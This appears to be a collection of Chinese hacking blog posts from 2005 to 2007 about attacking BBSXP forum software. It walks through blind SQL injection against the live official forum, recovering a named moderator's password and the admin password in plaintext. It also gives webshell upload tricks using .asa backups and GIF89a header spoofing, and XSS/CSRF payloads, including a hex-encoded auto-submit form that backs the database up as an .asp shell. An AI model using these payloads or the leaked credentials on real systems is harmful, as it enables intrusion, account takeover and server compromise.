-
2007年05月05日
利用最基本的SQL注入渗透BBSXP官方网站的台后管理 - [安全资讯]
利用最基本的SQL注入渗透BBSXP官方网站的台后管理
漏洞分析
序:
有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性!
他非常的cool,i like!呵呵,不知道你看过这部电影没有?
不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前台区长密码.
3.利用漏洞,得到后台密码.
4.添加公告,闪人!
开始工作:
到bbsxp官方网站下载最新的bbsxp。
第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************源代码***************************************************//
<%
if request.cookies("username")="" then
error("
您还还未登陆社区")
end if
select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已经添加到网络收藏夹!")
case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的无用代码略掉********************************//
看到代码了,首先要注册使用本功能.
然后在这个asp文件中提交的参数有:menu,id就这两个值.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。
攻击演示
第二步,利用漏洞,得到前台管理员密码.
接到上面的来。我们测试一下这个漏洞是不是存在.
自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。
现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的.
提交http://bbs.yuzi.net/favorites.asp?menu=del&;id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)
呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就del了id为576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。
count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。
最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9位.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。
因为正确一个就会del一个收藏地址。
采用提交http://..../favorites.asp?menu=del&;id=567 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错.
本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。
所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。
当我们提交http://..../favorites.asp?menu=del&;id=588 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.
在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.
http://..../favorites.asp?menu=del&id=589 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj
这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.证明第一个字符的asc码大于100。
相反,你也可以这样测试:..asc(mid(userpass,1,1))<105
如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103
如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系]
这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。
添加收藏也慢得要死。
好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj
第三步:得到后台管理密码;
看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.
我们要的就是他。我们就要取到这个字段的值.
这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条.
再次利用我们第二步的漏洞.进行猜解.
一样的办法。得到后台密码长度为:9位.
http://bbs.yuzi.net/favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
刚好正确。
想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。
猜第一位:
http://bbs.yuzi.net/favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出来了。
http://bbs.yuzi.net/favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出来了。前两位是bb.
呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!
http://bbs.yuzi.net/favorites.asp?menu=del&id=593 and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。
现在我们用left函数取前5位
说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值
http://bbs.yuzi.net/favorites.asp?menu=del&id=594 and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又对了。呵呵,还有四位,想不出来了。我们又破到了两位.
前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。
兄弟们都想了好久,最后想到了cool试试吧!!!
最了,最后居然对了。就是cool密码就是:bbsxpcool
http://bbs.yuzi.net/favorites.asp?menu=del&id=598 and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)
现在有前台的账号,和后台的密码。进去发布公告吧!
第四步:发布公告.
进入后台我们发布了记他注意脚本安全的公告,然后闪人!
结束句:
前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!
我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!
我们也一样会努力认真的再次对你们的论坛进行测试的。
-
2007年05月03日
BBSxp/LeadBBS后台上传Webshell的防范 - [安全资讯]
BBSxp/LeadBBS后台上传Webshell的防范
作者:kevin1986
最近弄了两个bbs系统,发现后台传/改webshell的时候都做了一定限度的防范,使得很多新手不知道如何去传webshell控制主机.其实这个问题很简单......几分钟就能解决
1.bbsxp
昨天朋友弄进去一个bbsxp的论坛,这个论坛以前问题多多,制作人(好象是yuzi工作室)很不注意安全的防范,而且对脚本安全基本知识缺乏了解,导致了很多漏洞,而现在已经不是是很流行了.但是新版的还是新版的,也要看看...
后台大致浏览了一下发现可以和dvbbs的后台一样通过备份数据库来获取webshell,可是问题是如果备份成asp的话,后台有一个验证,提示不能备份成.asp文件.其实这个东西是个名副其实的鸡肋防范策略,因为我们还知道有cdxcerasahtr等格式也可以执行asp脚本.而bbsxp并没有想到.......所以,我们把备份的改为.asa等就可以传了.........bbsxp还是那么菜啊.....
2.leadbbs.
leadbbs总体来说还是个强悍的论坛,但是最近还是被lin给发现了cookie欺骗漏洞.呵呵.那么在很多人利用的时候,都发现没办法传webshell.其中包括sniper .哈哈/
其实我们可以编辑后台的一个asp文件,而这个文件是检测server和<%这两个字符的.看起来是做了不错的防范,可是还是有问题的.
我们可以通过include来写一个asp木马.
首先从论坛上传一个jpg后缀的asp木马,这个木马最好是直接使用fso或adodb.stream在当前目录生成一个newmm.asp这样的代码.因为include是无法接收数据的.
然后在后台的编辑文件那里写上
然后访问这个文件,最后访问生成的asp木马地址就可以了.......
-
2007年04月30日
BBSXP最新漏洞简单分析以及利用 - [IT业界]
BBSXP最新漏洞简单分析以及利用
PS:天涯那看到的.没经过测试.又是伪装木马上传.文章早出来了.转来.大家测试下.!
无意间发现一个BBSXP的0day,经过我自己测试,有80%左右的成功率,现在已经隔了1个月了,你们能不能利用我不保证。不过估计还有很多没有打上补丁的。以下介绍仅为学习交流使用,请勿用于非法用途。
这个漏洞存在于bbsxp的最新版本(官方的不是最新版)漏洞估计比上次某人发的bbsxp注入漏洞更加严重。很简单,我这个是上传,而且是杀access和sql版,直接就可以拿到webshell,至于拿到webshell后……
首先大家看一段代码,这个是我从网上下的一套bbsxp最新版,我先简单分析以下三段代码:
if FileExt="asa" or FileExt="asp" or FileExt="cdx" or FileExt="cer" then error2("对不起,管理员设定本论坛不允许上传 "&FileExt&" 格式的文件")
if Sitesettings("WatermarkOption")="Persits.Jpeg" and FileMIME="image/pjpeg" and UpClass<>"Face" then
Set Jpeg = Server.CreateObject("Persits.Jpeg")
Jpeg.Open Server.MapPath(""&SaveFile&"")
'判断用户文件中的危险操作
sStr="getfolder|createfolder|deletefolder|createdirectory|deletedirectory|saveas encode|function|UnEncode|execute|重命名|修改|属性|新建|复制|服务器|下载"
sNoString=split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel=server.CreateObject ("Scripting.FileSystemObject")
filedel.deletefile server.mappath(""&SaveFile&"")
response.write "你的ip和时间已被纪录,由于你曾多次使用该方法对系统进行非法攻击,我们将会把你的数据向海南省公安部及海口网警报告!"
response.write "<br>"
response.write "时间:"&date()&" "&time()&""
response.write "<br>"
response.write "I P:"&request.servervariables("remote_addr")&" "
set MyFiletemp=server.CreateObject("Scripting.FileSystemObject")
set wfile=myfiletemp.opentextfile(server.mappath("ypsql.txt"),8)
wfile.writeline date()&" "&time()&" "&request.servervariables("remote_addr")
Response.end
end if
其中:文件保存类型是通过FileMIME判断FileMIME="image/pjpeg",也就是说上传类型要是图片,然后第一段代码,if FileExt="asa" or FileExt="asp" or FileExt="cdx" or FileExt="cer" then error2("对不起,管理员设定本论坛不允许上传 "&FileExt&" 格式的文件")的意思是:出错时候检查后缀.如果后缀是asa或者asp或者cdx或者cer的时候他就会提示错误。然后FileExt=文件后缀第三段代码的意思是:如果文件中有getfolder,createfolder等等特征的话。他就提示错误.错误类型在下边自己看了。
Bssxp是通过这3段代码来过滤上传类型的.可这却造成了一个逻辑性的漏洞.聪明的读者可能已经发现了.他过滤的后缀只有asa、asp、cdx、cer如果我们传的文件的后缀不是这4个呢?嘿嘿,不是这4个也不能传.为什么?因为后边还有个FileMIME="image/pjpeg"。好,我们让文件是image/pjpeg。具体怎么实现呢?很简单。在我们的马马头部加上gif89a。也就是文件头欺骗。我们测试下一下看看:
成功了! 然后你想干什么就可以干什么了。不过千万别非法入侵别人的系统哦~ -
2005年12月12日
跨出来的精彩
作者:linziB.C… 文章来源:B.C.T
总体上介绍
简单介绍什么是XSS攻击
如何寻找XSS漏洞
对于XSS攻击的总体思路
来自内部的攻击:
如何寻找内部的XSS漏洞
如何构造攻击
如何利用
结何实例攻击,如DVBBS&BBSXP
来自外部的攻击
如何构造XSS攻击
如何欺骗管理员打开
XSS与其它技术的结何
与mssql injection的结合
QQ跨站的结何
国内大型统计网站的跨站漏洞
社会工程学
制作恐怖的flash木马
制作方法由李丰初写
总结正文:
XSS总体介绍
什么是XSS攻击
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell.
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
来自内部的跨站攻击
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
[img ]http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1®time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+[/img]
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
[img]http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
<body onload="javascript:document.forms[0].submit()"><form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>
上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
五、Flash木马的制作.
略作者:h4x0r 文章来源:www.21o.net
BBSXP5.15跨站攻击漏洞
前言:在新云网站管理系统1.02出来的时候,他的留言本就存在跨站漏洞,我测试了黑客动画吧,还好没有开放留言本功能,然后又测试了黑软基地 居然可以成功利用,和新云官方网站都成功拿倒了管理元的cookies.
想不到吧. 看来跨站不得不防范啊!BBSXP的漏洞近段时间闹得可火。现有的漏洞大家都见过了,就不说了。今晚无聊,看了看BBSXP 5.15最新版的几个文件代码,发现还是存在跨站攻击的漏洞。
Cookies.asp文件,代码如下:
对提交的 “no” 参数没做处理。再看setup.asp文件中:if Request.Cookies("skins")=empty then Response.Cookies("skins")=style
dim ForumTreeList,toptrue
ii=0
startime=timer()
Set rs = Server.CreateObject("ADODB.Recordset")
Server.ScriptTimeout=Timeout '设置脚本超时时间 单位:秒
response.write" "
对cookies提交的参数也没有作出处理就直接write成default.html输出了。这样,我们就可以构造论风格的参数 “no”中插入跨站脚本代码,进行跨站攻击,如构造这样的url:
http://bbs.yuzi.net/cookies.asp?menu=skins&no=4
























